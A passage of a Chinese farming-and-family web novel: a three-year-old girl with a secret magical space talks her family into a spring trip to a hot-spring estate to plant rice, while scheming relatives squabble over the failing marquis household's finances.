“爹爹先看,有看不懂的、想不明白的,就问阿沅。阿沅……阿沅可以去问神仙姑姑!”她差点说漏嘴,连忙补上一句,两只小短腿因为兴奋,在爹爹膝上晃得更起劲了,鞋子都快甩掉了。
这些书,她翻出来也是费了心思的。从最基础的土壤、节气讲起,再到选种、育苗、田间管理,由浅入深,循序渐进。
至于最高产、最优良的稻种?那根本就不用爹爹操心,她小手一挥,就能从空间里成筐成筐地拿出来,只说是“神仙姑姑所赐”便是。
“嘿嘿!不难不难。”越想越觉得自己的主意妙不可言,前景一片光明,阿沅忍不住学着平时娘亲安慰爹爹时的模样,伸出小巴掌,努力做出沉稳的样子,在孟大川宽厚的肩膀上拍了拍,似乎在给他加油鼓劲!
那副小大人似的认真表情,配上她圆嘟嘟的脸颊和稚气的五官,反差强烈,可爱得让人心头发软。
“阿沅说行,那就准能行。”一直在旁边静静做着绣活的柳氏,把手中绣着青竹的绷子往旁边的笸箩里轻轻一扔,站起身来。
她走到父女俩身边,给了孟大川一记温柔中带着嗔怪、又饱含鼓励的眼神,那眼神似乎在说:“指挥千军万马你都不曾皱过眉头,如今还怕这十几本书不成?”
这一瞪,把孟大川看得心头一热,又莫名有些心虚,连忙扶着轮椅想要站起来表决心。
如今他腿伤好转,不用人搀扶,自己也能推着轮椅在屋里走上几十步了。他确实觉得,自己是时候该为这个家、为孩子们的未来好好谋算一番了。
儿子日夜苦读,心怀大志;眼前这才三岁的小女儿,更是古灵精怪,时时为这个家操心打算。他这个一家之主,曾经的将军,哪能真就当个缩头乌龟,只等着孩子们来庇护?
“夫人说的是!为夫读,为夫一定好好读!”孟大川坐直了身子,脸上那点迟疑和自嘲一扫而空,取而代之的是一种被妻女激起的豪情和责任感。
“以后,为夫也去争一争那司农寺卿的位置来当当,定不负夫人和阿沅的期望!”说完,他还故意朝着怒气未消的柳氏,滑稽又认真地做了个半躬身的姿势,逗得柳氏“噗嗤”一声笑了出来。
“咯咯咯!爹爹听话,爹爹最听娘亲的话了!”阿沅看到爹爹被娘亲“降服”,又做出这般搞怪模样,顿时乐不可支。
她身子一歪,直接滚倒在后面床上柔软的被子上,高兴得手舞足蹈,两只小脚丫朝天乱蹬,笑得见牙不见眼,满屋子都是她银铃般欢快的笑声。
柳氏被女儿笑得脸颊飞红,似嗔似喜地瞪了孟大川一眼,伸手在他背上不轻不重地拍了一下,然后握住轮椅的把手,稍一用力,便将笑着的孟大川连人带轮椅转了个方向,推向那摞散发着墨香的“农书”宝典。
暖黄的灯光下,一家三口的影子交织在墙壁上,温馨而充满了新的希望。
第112章 全家春游
这天晚饭时分,窗外暮色渐浓,屋内烛火初上,饭菜的香气与暖融融的光晕交织在一起。小阿沅用她的小木勺有一下没一下地戳着碗里软糯的米饭粒,一双圆溜溜的大眼睛却在爹娘脸上悄悄打转。
瞧见爹爹给娘亲夹了一筷子她最爱的清蒸鲈鱼,娘亲嘴角漾开温柔的笑意,阿沅立刻觉得时机到了。
“娘亲什么时候带阿沅去您的庄子呀?”
她放下勺子,两只小手乖乖叠放在膝盖上,扬起小脸,声音又甜又脆,像刚咬了一口的蜜瓜,带着十足十的期待,抛出了惦记了好些天的问题。
柳微微一愣,随即失笑,伸出纤指轻轻点了点女儿的额头:“你个小人儿,倒惦记起庄子里的事来了?娘想着让你柒叔带几个得力的人去传个话便罢了。”
她说这话时,语气温和,却带着主母安排事务的惯常思量——庄头们都是老实的,种地的事吩咐下去便是,何须劳动女儿亲自跑一趟?
“你爹爹……”柳氏的目光不由自主地飘向身旁安**着的夫君孟大川,他身下的轮椅在烛光下拉出一道沉默的影子。她眼中闪过一丝心疼与忧虑,话也顿住了。
女儿自出生后还未曾去过她那几处陪嫁庄子,年纪又这般幼小,若只让她跟着下人和护卫们去,自己这颗心如何放得下?
可若是自己陪着去,夫君这般情形……她心里左右为难,黛眉不由得轻轻蹙起。
“但是阿沅好想出去走走呀!好想泡娘亲说的热泉。”小家伙立刻捕捉到娘亲话里的迟疑,小身子急切地向前倾,几乎要趴到桌沿上。
那双黑葡萄似的大眼睛里,瞬间盛满了星光般璀璨的期待,直勾勾地望着柳氏,又转向爹爹和哥哥。
“娘亲不是说,那热泉咕嘟咕嘟冒热气,泡在里面浑身舒坦,像躺在云朵里一样吗?”她努力回忆着娘亲偶尔提及的描述,小脸上写满了向往。
接着,她像是想起了更有力的理由,声音愈发软糯恳切:“爹爹和哥哥也多久不出门了呀!院子里桃花都开过又落了。我们一起出去春游好不好?”
古代的温泉可是纯天然,没有锅炉加热的成分在,虽然没有包治百病那么神奇,但对有些特定的病症,确实有疗效。
她现在小孩子心性,确实想一家人出去走走。
说完这句话的时候,她更是看向一直沉默不语的阿执,好想他成为自己的另一个助力,大眼睛扑棱扑棱地看着漂亮哥哥,说:“阿执哥哥肯定也想去,对吧?”
阿执正安静地吃着饭,姿态优雅,侧脸在光影下显得格外精致。
阿沅的目光热切地投向他,小脑袋歪着,长长的睫毛像蝶翼般飞快扇动,试图用眼神传达“快帮帮我呀”的强烈信号。
阿执哥哥年纪没有多大,肯定也没去过温泉庄子,而且不想丢他一个人在家里!
“爹爹这样……”孟大川随着妻子的话,低头看了看自己盖着薄毯、还没有行动自如的双腿,喉头微动,声音里带着惯常的沉郁与无奈。
他与柳氏对视一眼,那份纠结与迟疑如出一辙。出门,对他而言已不仅仅是意愿,更是能力与体面的考验。
父亲和母亲似乎都不想出门,孟怀瑾也只能说,“爹爹若是不去,哥哥还是在家温书…”那意思就是爹不去,我就不去了。
少年清朗的嗓音响起,带着超越年龄的懂事与体贴,却也掩不住一丝淡淡的失落。他搁下筷子,坐得笔直,目光在父母之间流转,孝道与心中那点对外界的渴望在悄悄拉扯。
“先生说:读万卷书,行**路。读书人最忌四体不勤,五谷不分。农耕,更值得学习。”一直安静用餐的阿执忽然开口。
他并非没察觉桌上略显凝滞的气氛,也并非没看到对面那小丫头片子几乎要化为实质的期待目光——那眼神太亮,太灼人,像两簇小火苗,烧得他心里那点属于孩童的好奇与向往也蠢蠢欲动起来。
他记起先生平日的教诲,此刻说来,既是道理,也像是为自己心头那点莫名的松动找个理由。
话音落下,他瞥见阿沅的眼睛“唰”地一下更亮了,仿佛他投下了一根至关重要的救命稻草。
“那我们也叫上先生。”阿沅立刻抓住这根“稻草”,兴奋得几乎要从凳子上蹦起来。她转向爹爹,语气笃定得:“爹爹也去!轮椅不怕的,柒叔力气那么大,肯定能连人带椅稳稳当当地抱上大马车!我们坐大大的马车去!”
好像只要孟柒那双能举起石锁的胳膊在,天底下就没有去不了的地方。
她再指了指爹娘床头的那一摞农学书,摇头晃脑学起了先生上课时,摸着胡子的模样,“学以致用!学以致用!”
说着,她甚至伸出
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肉乎乎的小手,在下巴处虚虚地捋了捋,模仿先生思考时的神态,小眉头还刻意皱起,那故作老成的滑稽模样,瞬间冲淡了饭桌上的沉闷,连孟大川紧绷的嘴角都似乎松动了些许。
“夫君确实已经大半年不出门了,是应该出去走走。反正马车从院子里出门,帘子一放,外人也看不到。”柳氏的声音轻柔却坚定,她再次看向孟大川,眼周微微泛红,眸中渐渐盈起一层水光。
那目光里有心疼,有鼓励,更有往昔夫妻恩爱时才会流露的娇嗔与坚持:“你以前……可不是这般畏首畏尾的。答应过要带我踏青赏花、游山玩水的,如今不过是去自家庄子,泡泡对身子或许有益的热泉,你便推三阻四起来么?连一家人一同出门都不肯了?”
她越说越觉委屈,声音带了哽咽,那泪珠儿就在眼眶里盈盈打着转,将落未落,像清晨花瓣上的露水,看得人心头发紧。
说完金豆子就想往下掉,看得孟大川的心一软,坚定的心有了些许松动。
孟沅好想给娘亲发小金人,但这会儿只能双手击掌,“咯咯咯”地笑着,表示赞同。
她用力拍着小手,清脆的掌声格外响亮,那欢快无忧的笑声像一阵暖风,吹散了父母之间最后那点犹豫的薄冰。
“那……那……闲着没事,就去吧!”孟大川终是败下阵来,在妻子含泪的凝视和儿女期盼的目光中,那点固守家中的坚持土崩瓦解。
他深吸一口气,声音虽还带着点不易察觉的颤,却已有了决断:“为夫明日就跟杨先生说说,再准备准备。就去有热泉的那个庄子落脚,让孩子们玩上几天,松散松散筋骨。”
“噢耶!”幸福来得如此突然,阿沅欢呼一声,小身子因激动而扭动起来。她猛地转身,下意识地就伸出油乎乎的小手,“啪”地一声与身旁阿执的手掌击在一起。
随即又给了他一个结结实实、带着饭菜香和奶香气的拥抱。最后更是“吧唧”一下,将自己沾着些许油光的小嘴,响亮地印在了阿执白玉般光滑的脸颊上。
只惹得阿执脸上绯红一片,但是其他人都因为这事太过兴奋,也没人注意他们两个几岁小屁孩的亲昵动作。
孟沅更是理所当然,根本就没觉得有什么不妥,毕竟还有两个月,她才四岁呢:漂亮哥哥那么好看,亲他一下,怎么了?
第113章 白家回京
阿沅一家欢欢喜喜,准备出游,每个人的脸上都洋溢着轻松与期待的笑容,连脚步都带着雀跃的轻快。
阿沅出行自然不只是为了泡热泉,还有种地的计划在,所以打算带的人还不少,特别是选好的几个小跟班,自然是要带上。
以红袖、莲花为首的几个早已按捺不住兴奋,已经开始叽叽喳喳地讨论着沿途可能见到的风景,大人们则细致地检查着行装,确保无一遗漏。
车厢里装满了精心准备的食盒、柔软的铺盖和足够换洗。的衣物,马儿也喂得饱饱的,精神抖擞地打着响鼻,只待一声令下,便可出发去享受这难得的闲暇与团聚时光。
与此同时,隔壁白水庄的白家也正乱哄哄、闹腾腾地上了回城的路。
这支队伍虽然期盼已久,但是内心依然透着仓皇与不甘,全然没有出游的惬意。
“嗨!真是倒了大霉了,八辈子的晦气都赶在这一趟上了!”白继祖的发妻刘白氏尖着嗓子,一张脸拉得老长,眉头紧锁得能夹死苍蝇。
她手拍打着马车上比当初少了一半的箱笼,声音里满是心疼与怨毒:“也幸亏我多了个心眼,提前在地道里藏了点压箱底的好东西,不然咱们这辛辛苦苦攒下的家底,可真要让那些杀千刀的贱民给掏得精光、刮得地皮都不剩了!我的嫁妆……以后这日子可怎么办?难不成要我去喝西北风?”
她越说越气,胸口剧烈起伏,叉着腰,唾沫星子几乎要溅到旁人的脸上。
“都是你们这几个不下蛋还光会吃饭的贱蹄子!”她一转头,看见已经站在前头一辆马车下的公爹,以及想要挤上最后一辆马车——那两个打扮得花枝招展却难掩憔悴的妾室,更是气不打一处来,仿佛找到了宣泄口。
手指几乎要戳到那几个女人的鼻尖上:“磨磨蹭蹭,搬点东西都手脚不利索!要不是多你们几个贱蹄子,地道里还能多放几口箱子。光会哭哭啼啼,顶什么用?真真是丧门星!”
“够了!”白继祖平时就讨厌这个女人,可不会在这时候惯着她。
一家人今天特意穿了套全新的锦袍,但是他腰板却挺不直,总带着点商户的算计气。他先扶着板着脸的老爹上了马车,回头便瞪向柳白氏,呵斥道:“再这么没有规矩地瞎咧咧,满嘴喷粪!等回了城,你就自己住到城北的铺子里去看店,别跟着我们进府享福!”
他语气凶狠,成功地把刘白氏后面更难听的话噎了回去,只敢在一旁咬牙切齿地小声嘟囔。
白继祖又朝旁边两个身材臃肿的儿子吆喝:“老大老二,别傻愣着!让她们赶紧都挤上车,坐稳了就走!你们两个,骑马在后面跟着,机灵点,压住队尾,别让什么东西掉了,也别耽误事!咱们得赶在天黑前进城。”
“爹,咱们这回……真的能直接住进安平侯府吗?那高门大户的,朱漆大门,石狮子守着,咱能进得去?”胖得跟个球似的老大喘着粗气,费力地爬上马背,他那几乎眯成一条缝的小眼睛里闪烁着贪婪与兴奋的光,脸盘上的肉随着动作一颤一颤。
“祖父定下的事,那还能有假?”白继祖闻言,得意地挺了挺他那并不挺拔、同样肥胖的腰身,仿佛瞬间有了依仗,脸上布满了势在必得的算计。
“也不看孟二泉究竟是谁的种?他身上流着谁的血?若是他敢不认我们这门亲,敢把我们拒之门外,你爹我豁出这张脸去,定要把那安平侯府搅个天翻地覆,鸡犬不宁!让他也当不了侯爷,看他们还要不要脸面!”
“可是……”一旁瘦削些、眉眼间带着几分犹豫的老二拽了拽缰绳,欲言又止,最终还是鼓起勇气提出心中的疑虑。
“爹,咱们这么住进去,总归是名不正言不顺……什么时候才能上了他们孟家的族谱?难道……难道以后咱们兄弟,也要改跟他们姓孟不成?”这话问得小心翼翼,却戳中了要害。
“你们两个,哪来这么多废话?唧唧歪歪的!”白继祖不耐烦地挥挥手,打断了儿子的思绪,“一切等回去了再说!有你祖父和你们那位‘尊贵的’祖母在背后撑着,自然会商量出个万全稳妥的办法。这富贵还能跑了不成?难道还能亏了咱们自家去?目光放长远些!”
“也是,爹说得对!”白老大舔了舔厚嘴唇,接口道,脸上横肉堆起笑容。
“咱们白家别的没有,就是有银子!那安平侯府,我早打听过了,除了早先大房媳妇嫁妆据说挺厚,可没听说有什么来钱的营生,说不定早就是个空架子了。
咱们这带着家底过去,他们不得把我们当财神爷供着?当上宾伺候着?不然,谁帮他们填那些窟窿眼儿?”他的话语里充满了对未来的美好臆想和身为“金主”的优越感。
……
这会的安平侯府,确实正如白家父子所臆测的那般,很不好过,甚至可说是个个焦头烂额,愁云惨淡。
老宋氏和小宋氏这对婆媳都瘫在床上,一个中风后口眼歪斜、
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涎水直流,脑子糊涂得连亲儿子都快认不出;一个下半身都快没了,虚弱不堪,终日昏沉。
光是给两人吊命用的上好药材和请大夫诊金,一天就如流水般花出去不少,再加上侯府上下上百口人每日的嚼用开销,人情往来,样样都要钱。
新晋的平妻焦氏接手管家不过几月,便已忙得焦头烂额,嘴角急出了一串亮晶晶的燎泡,早没了新婚时的娇柔模样。
“孟二泉!你给我说清楚!”焦氏一生起气来,嗓音尖利,叉着腰,将一摞厚厚的账本“啪”地一声狠狠摔在孟二泉面前的木桌上,震得茶盏都跳了跳。
“你们孟家这些铺子和庄子,到底是怎么回事?我没过门前,你娘交给我的账册上明明写得清清楚楚,虽然进项不大,但总归是能见到点银钱的公中资产!怎么我一接手,还没到一个月,去铺子里查看,掌柜的竟换了人,一问,连东家都改了姓!
细细追究下去,连城外那几个收租的庄子,地契都莫名其妙到了别人手里!孟二泉,你可别把我当傻子糊弄!今天不讲清楚这些产业都飞哪儿去了,我就告你骗婚!让你这从五品的官也做不成!”
她气得眼眶发红,胸前起伏,哪里还有半分侯府夫人的端庄礼仪,就差没有直接上手去挠孟二泉的脸了。
要她拿自己的嫁妆来贴补这个无底洞?那是绝对不可能的!她本就不是什么显贵之家出身,不过是机缘巧合攀了高枝,嫁妆单子看着还行,内里实在虚得很,让她掏钱,简直如同割她的心头肉。
“你……你小声些!妇道人家,嚷嚷什么!”孟二泉被骂得脸上青红交加,又恼又心虚。
小宋氏瘫在床上时,他本就没多少伤心,反而觉得少了个黄脸婆管束。娶了焦氏又升了官后,他甚至暗暗庆幸换了妻子。
可年前府里遭了盗贼,担心圣上过问,为了填补大房柳氏那被盗空的嫁妆窟窿,他只知道母亲老宋氏确实动用了二房不少私产和她自己的体己,甚至可能变卖了许多产业。
但具体卖了多少、贴补了多少、到底有没有填完那个据说巨大的亏空、府里是不是反而欠了外债,他是一概不知,也从不过问。
因为这一切,历来都是他那位精明的母亲一手操办,连躺在床上的小宋氏和他们的一双儿女都不清楚细节。
可谁能料到,他娘老宋氏竟突然中了风,一下子变得混沌痴傻,除了咿咿呀呀和流口水,什么交代都没留下。
第114章 表舅掌家
此刻面对焦氏连珠炮似的质问,孟二泉也是两眼一抹黑,只能硬着头皮和稀泥:“这……这是事出有因!那些产业,原本自然都是咱们安平侯府的家产,只是……只是暂时挪用作贴补柳氏的嫁妆亏空而已,是权宜之计!等……等风头过了,自然还是要还回来的……”
这话说得他自己都底气不足,眼神飘忽不定。但再想一想,母亲说过无数次,大房一家是活不了的,一下又理直气壮起来。
“权宜之计?还回来?你说得轻巧!”焦氏冷笑连连,又拿起几本明细账册,翻到做了标记的地方,直接戳到孟二泉眼皮子底下。
“我也是盘点了城里的铺子,亲眼看到招牌换了,一查才知道连庄子都不是府里的了!你自己看看,这烂账!还有,”
她压低了声音,却更加咬牙切齿,“就连你打发大房那个病秧子去住的嘉和庄,我派人暗地里去查了,地契也早就过了户,成了别人名下的产业!我看你以后还拿什么去拿捏大房!他们死在那儿,官府追究起来,你都脱不了干系!”
这最后一句,她是凑近了压低声音说的,带着狠意。
孟二泉被这一连串的消息砸得头晕目眩,又惊又怒,更感到一阵莫名的恐慌。
他烦躁地挥开面前的账册,语气也冲了起来:“你若是觉得麻烦,这摊子事你就别管了!府里总归有吃有喝,短不了你的!
大房一家全都中了那要命的毒,我看也没几天好活了。
至于庄子……庄子既然不是我们的了,他们死在别人的庄子里,岂不是更好?跟咱们安平侯府有什么干系?官府能追究我们什么责任?”
他撂下这番冷酷无情的话,不敢再与眼前这个咄咄逼人的女人继续纠缠,这烂摊子让他头疼欲裂,他急于找个地方躲清静,连忙起身,拂袖而去。
“二爷!二爷,您等等!”刚出了后院月亮门,还没走到前院,就看老管家步履匆匆,几乎是小跑着追了上来。
老管家脸上皱纹深刻,写满了焦虑,额头上都沁出了汗珠,他喘着气禀报道:“二爷,……老夫人娘家那位表舅,白弟城的白老爷一家,从乡下回来了!
说是城里原来的宅子一时安置不下这许多人,想……想暂时借住在咱们府里。
老奴瞧着,他们主子下人,男男女女,足有二十好几口人,箱笼也不少,这……老奴实在不敢自作主张,特来请二爷的示下。”
老管家一面说,一面偷偷觑着孟二泉的脸色。
孟二泉本就一肚子邪火,闻言脸立刻沉了下来,想也不想便怒道:“哪门子的表舅?打秋风都打到我们安平侯府头上来了?爷我如今烦着呢,可没闲钱闲粮养这些穷亲戚!让他们……”
他“滚”字还没出口,老管家急忙又上前一步,几乎是贴着他耳畔,低声急促地说:“二爷,您息怒,您误会了!不是那些穷亲戚。是那位,每年往老夫人院里跑,送不少贵重年礼、家底厚得很的白弟城白老爷家,是堂表亲。
他们是商户起家,可听说在京城和各地都有产业,光在京城就有好多处铺面和田庄,殷实着呢!看那架势,倒不像是来打秋风的,许是真遇到了难处,或是……另有打算。”
老管家也是被焦氏逼得没法子了,府里账上空虚,焦夫人天天找他麻烦,他刚刚也是心思一转,觉得没准白家进来,还是好事。
就算不能直接给钱,手指缝里漏点,或者帮忙担些开销,也能解了燃眉之急,自己这个管家也好做点。
“若是……若是他们能住进来,”老管家见孟二泉面色稍缓,又大着胆子补充道,声音压得更低,“没准……没准还能帮衬着贴补些府上的用度。如今府里开销大,多个进项,总是好的。”
这话几乎贴着孟二泉的耳朵说完,老管家一面说,一面紧张地观察着他的神色变化。
果然,这话精准地戳中了孟二泉眼下最痛处。
只见他脸上那浓浓的阴霾和怒气,顷刻间便如同被风吹散了些许,甚至还冒出了一点算计的精光,多云转晴,嘴角甚至不自觉地往上扯了扯。
“哦?白家表舅?”他语气立刻缓和了不少,还带上了一丝刻意的热情,“
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既是母亲的亲戚,家道又尚可,落难来投,我们岂有拒之门外的道理?我这就亲自去迎他们!
咱们后院不是还有两个一直没银子修缮的破落院子吗?就先将他们安置在那儿。
他们既是有家底的,看着那残破样子定然住不惯,修缮起来,难道还好意思只修自己住的那两处?最好连带着把府里其他破旧房屋也一并修了,岂不是两全其美?”
他越想越觉得这是个妙计,背着手踱了两步,眼里光芒更盛,低声对老管家吩咐道:“还有,你赶紧去后院,找焦氏。让她把那些烦人的账本子都整理出来,然后就说自己急火攻心,病了,卧床不起!
等白家这两日安置下来,我就以家中女主人们都卧病在床、无人主持中馈为由,顺理成章地把对牌和管家之权,交到那位‘热心’的表舅手上!
让他们来替咱们掌这个家,担这些开销!”他说完,脸上露出了如释重负又带着些得意的好诈笑容。
老管家听了,心里暗骂二爷的不要脸。
但是也心里明镜似的,立刻唯唯诺诺地躬身点头应是:“二爷高明!老奴这就去办!”他内心自然是暗暗高兴的,这真是瞌睡遇到了枕头——白家来得太是时候了!
这烫手的山芋、烂透的摊子,总算可以甩出去了。
二夫人焦氏那边,早就有了撂挑子的心思,一提这事,肯定是一拍即合,巴不得呢!如此一来,大家面上都好看,皆大欢喜。
至于这安平侯府的管家权、甚至话语权,会不会就此落到外姓的白家手中,老管家是半点不想管,这也不是他一个下人该操心的事。以后即便出了什么乱子,捅了什么娄子,自然有上面的主子们头疼去。
他算是看明白了,这侯府自从大房被逼走,老夫人倒下,就已经是个是非不断、日益衰败的泥潭,绝非久留养老之地。
他得趁早琢磨个稳妥的法子,脱了这身管家皮,拿上积攒的钱财,回老家置几亩地,过几天清净日子去才是正经。
想到这里,他脚步似乎都轻快了些,匆匆向后院走去。
第115章 出发春游
这趟春游,出行确实有点仓促,第二天才手忙脚乱地收拾完东西,第三天清早天刚蒙蒙亮,一行人就上了路。
催着早日出行的原因,全因阿沅空间里观察稻种的生长状况。那稻种在灵气充盈的土里,长得简直是一天一个样,绿油油秧苗眼看着就要窜出来了。
阿沅心里跟明镜似的,知道再拖下去,等秧苗长成,他们就真没时间游玩了。
稻种撒下去已经四天,按秧苗在空间里那惊人的生长速度,最多也就六七天后,那根须就得密密麻麻、苗秆也得挺挺直直,到时候非得铲苗抛秧不可了,往后拖也拖不了几天。
柳氏一共三个陪嫁庄子,其中温泉庄子距离嘉禾庄位置居中,马车行程也需要差不多整整一天时间。好在温泉庄旁边的两个庄子距离都不算太远,也就十几二十里的距离,马车跑起来大半个时辰就能到,操作起来还算方便。
但除了路上的行程和将来取秧苗的时间,他们满打满算也只有大概四天可以游玩。还得把种植和养护的方法仔仔细细交代清楚,到时候也得马上掉头往嘉禾庄赶,想想时间真是紧巴巴的。
“阿沅,要不要让林庄头再选几个种庄稼的老把式一起?光是你这几个人,还有这些护卫丫鬟……真的能行?”出发前,孟大川和柳氏在厅堂里蹙起眉头。
听说阿沅除了贴身丫鬟红袖,并红果、绿果两个身手利落的暗卫,再带去的就是玩伴莲花,还有庄子里黑丫和大牛、二牛这几个半大孩子,就感觉有点头疼。
三个庄子,虽然都没有嘉禾庄那么大,但零零总总加起来也有两百多亩稻田呢。
即使不怕孩子们手脚没轻重,糟蹋了那些金贵的秧苗和田地,但想想让几个最大不过十岁出头的孩子,像小大人似的指挥着庄子里那些晒得黝黑、经验丰富的老农种地,还是怎么想都觉得离谱,怎么想都觉得没有带几个熟手老农过去来得踏实。
“抛秧很容易的!”阿沅正蹲在地上摆弄她的布老虎,一听这话立刻抬起头,眼睛亮晶晶的,小脸上满是笃定,“神仙姑姑教过阿沅了,保准大家一学就会!哥哥会,阿执哥哥也会,连杨先生看了也会!”
说完她“噔噔噔”跑到柳氏面前,不由分说地钻进柳氏怀里,一左一右让娘亲圈住自己软乎乎的小身子,然后抓起柳氏的手,非要手把手地教起来。
“秧苗在这边手,”她用自己胖乎乎、带着小肉窝的左手,抓住柳氏纤白的右手,引导着往自己空荡荡的左手边伸,好像那里真有一把翠绿的秧苗似的。“
这边手呢,就这样——抛秧!”她攥着柳氏的右手高高扬起,然后用力往前一甩,小身子也跟着使劲儿,差点从柳氏怀里栽出去。
“这样秧苗就‘咻——’地飞出去,稳稳落在田里啦!”阿沅比划着,仿佛已经看到秧苗在空中划出弧线,“很快就会在稻田里生根发芽,长得可快可好了!”
用空间土地和水精心培育的秧苗,生命力肯定比外界的强上许多,生长速度也更优,这点阿沅心里有数,一点都不担心生长问题。
阿沅脸上没有一丝压力,她高高仰起圆润的小下巴,笑得眉眼弯弯,像两枚甜滋滋的月牙,直面爹爹和娘亲的担忧,“温泉庄的那几十亩地,我们就自己种!当玩儿一样!”
为保万此趟行程无一失,又不至于太张扬。这一行,孟柒光是明面上护卫就安排只是安排不到十人,个个精壮,还不算那些隐在暗处的暗卫,以及贴身照顾的丫鬟婆子,再加上庄子里原本就能使唤的佃户,阿沅掰着手指头都数不过来,根本就不担心人手不够。
既然是春游,除了泡温泉和赏景,这抛秧就当作一项新鲜有趣的娱乐活动,大家肯定都会觉得好玩,就是不喊也会想着上手练一练。
去往温泉庄的路上,所有人都兴高采烈,特别是阿沅坐的那辆领头的宽敞马车里,更是热闹非凡。
莲花和红袖叽叽喳喳个不停,掀开车帘一角看着外面不断后退的树木田野,满心满眼都是憧憬和雀跃。
“小姐,有春游,以后是不是还能来个秋游?”莲花一兴奋,小嘴就停不下来,说起了原本她们村子里的趣事,“春天只能赏个景,绿草都还没长多少呢,你看看外面,有的地还光秃秃的。
秋天可就大不同了,山上野果子多着呢,红的山楂、紫的桑葚、毛茸茸的栗子……村里的孩子都喜欢往山上跑,从来都不会空着手回,有时候运气好,枯树叶底下还能捡到一丛丛胖嘟嘟的野菇子,熬汤可鲜了!”
她眨巴着大眼睛想了想,又补充道:“其实春天也有野菇子,只是没秋天那么多,那么肥。”
“把你馋的!”红袖故作老成地拍了拍莲花的脑袋,“你以为庄子都在深山里呢?还野果子!还野菇子!咱们这是去温泉庄子,暖和,说不定有别的稀罕果子。”
“秋收自然是要来的
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。”阿沅觉得马车里有些闷热,小鼻尖都沁出了细密的汗珠,忍不住用胖乎乎的小手去解身上那件锦缎小比甲的扣子。
一边解一边说,声音糯糯的却带着认真,“我们种下的东西,总得亲眼看着它们抽穗、变黄、沉甸甸地弯下腰才行呀。秋天要来,夏天也要来,要看它们是怎么一点点长大的。”
这几个庄子就是她在古代的第一波试验田,是她心心念念的“宝贝地盘”,怎么可能种下去就撒手不管?自然是要常来常往,像照顾朋友一样照看它们。
阿沅想着,嘴角弯得老高,露出几颗珍珠似的小米牙。
比起拘在京城安平侯府那四面高墙、方方正正的小小天地里,她更喜欢庄子里的自由自在,天空那么辽阔,风儿带着泥土和青草的味道,而且,在这里她还能干回自己的“老本行”——虽然这个“本行”现在别人看来只是小孩子的玩闹。
红袖见状,连忙上前帮忙,利落地给她脱了件比甲,嘴里还一面轻声抱怨着:“这气候真是说变就变,昨日还有些凉意,今日太阳一晒,竟有些燥热了。说是春游,都没怎么感觉到春天拂面的温和,夏天那热烘烘的劲儿就仿佛要来了。想想往年的苦夏,奴婢就有些害怕,动一动就是一身汗。”
想想又提出质疑:“这时节真的能泡热泉?”
阿沅可不觉得泡温泉是秋冬天的事:“晚上不是还有点寒凉么?自然是可以的。”
莲花一脸的向往,她捏着自己细棉布衣裳的衣角,眼睛亮闪闪的:“夏天才好呢!我娘已经给我新做了两套短打,可凉快了!
在我们村,小孩儿不像小姐你们穿得这么严实讲究,夏天热得很了,穿个短褂、裤腿只到膝盖,就能下河摸鱼捉虾,河水清凌凌的,还能凫水。
那才叫好玩呢!扑腾在水里,跟鱼儿似的,又凉快又自在!”
“莲花!”孟沅忽然被她说得心痒痒,兴奋地直起身子,差点撞到车顶,“回去让婶娘也给我做两套!我也要下河!你要教我凫水!”前世她是个只知道埋头读书的书呆子,更是个不折不扣的旱鸭子。
偶尔被同学拉着去趟泳池,或是度假去海边,还得套着个滑稽的救生圈,远远看着别人像鱼儿一样游来游去,心里羡慕得紧,又觉得丢脸**。
这辈子,她下定决心要快快活活、痛痛快快地过,把前世没能体验的乐趣、没能尝试的事情,统统都要体验一遍!
第116章 热流庄
“那……这得大老爷和夫人同意了才行。”莲花听她这么一说,兴奋劲头反而蔫了些,她挠了挠头。
她本就是个水鸭子,在村里的小河里扑腾大的,相信教小姐学个简单的“狗爬式”肯定不难。
可爷奶和爹娘都再三叮嘱过,小姐是金枝玉叶,出身金贵,身子娇嫩,不像他们这些“贱命”,丢到哪里都能活,磕了碰了也不打紧。
但看见小姐仰着的小脸上那明亮亮的眼眸里似乎闪过一丝失望,莲花心里一软,到底还是给了她一点希望。
凑近些小声说:“短打衣裳,我娘一准儿会帮小姐做,做几套都行!料子都是现成的,夫人上次叫秀姑给我奶屋里搬了好几匹透气柔软的细棉布,还剩老多呢。
我再叫我爹用细竹竿和纱网做一个掂鱼的网兜,可好使了!就算暂时不能凫水,咱们也可以在浅水边,用它来捕小鱼小虾,一样有趣!”
“嗯嗯!有玩就行!”阿沅用力点了点头,也不据理力争,她知道跟莲花红袖她们说凫水的重要性没用,她们做不了主。
她心里却自有盘算:她就不信,孟柒和那几个暗卫不会游泳?那肯定是必备的本事!就算是绿果、红豆姐姐,还有秀姑、翠姑,说不定也都是会的,恐怕还是他们这些近身伺候的人入职时要考的能耐呢!
到时候就缠着他们中间水性最好的那个学,软磨硬泡,不怕学不会。
有他们在旁边护着,爹娘估计也不会太反对。
再不行……她就眨巴着大眼睛,搬出“神仙姑姑说夏天凫水能强身健体”这样的话来做挡箭牌,不怕他们不同意!
阿沅偷偷抿嘴笑了,嘴角都快咧到了耳根。
天还没有擦黑就到了温泉庄,也叫热流庄。
马车辘辘地停稳,阿沅便趴在小窗上往外瞅,两只小手扒着窗框,脚尖够不着地,在半空中晃来晃去。
庄子的轮廓在夕阳里泛着微微的白气,像是谁家蒸笼掀了盖。她吸吸鼻子,竟真的闻见一股淡淡的硫磺味,混在初春的晚风里,暖烘烘的。
由于有青衣带着几个婆子提前过来收拾,一到了就能入住。柳氏才下车站定,阿沅已经被绿果抱下了车。
她脚一沾地,像只刚出笼的雀儿,扑棱棱就要往外冲,小短腿捣腾得飞快,绣鞋上的绒球一颠一颠。
“热泉在哪?热泉在哪?热**,我要泡澡。”
阿沅一点都不关心自己住在哪间房,知道横竖离爹娘和哥哥不会远,所以一下车就缠上了一个先到的婆子,两只小手拽着人家的衣襟,仰起脸,眼睛亮晶晶地往上瞧。
那婆子姓周,头发梳得一丝不苟,被这小祖宗拽得身子都歪了,却笑出一脸褶子。
“小姐莫急,热泉又跑不掉。”周婆子弯下腰,拿指头点点阿沅的鼻尖,看向了青衣,转而又看向刚下车的柳氏。那眼神分明等着主子发话。
“去吧,小心看顾着点。”坐了大半天车,柳氏也不想拘着他们,自己却觉得有点累了,又扬声交代,“布巾都备好了吧!再给他们上点茶水,小孩子家家只能泡底下的小泉,可不许往高处跑。”
她说话时,目
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光一直追着阿沅的背影摇了摇头,那团藕荷色的小影子已经蹿出去好几步了。
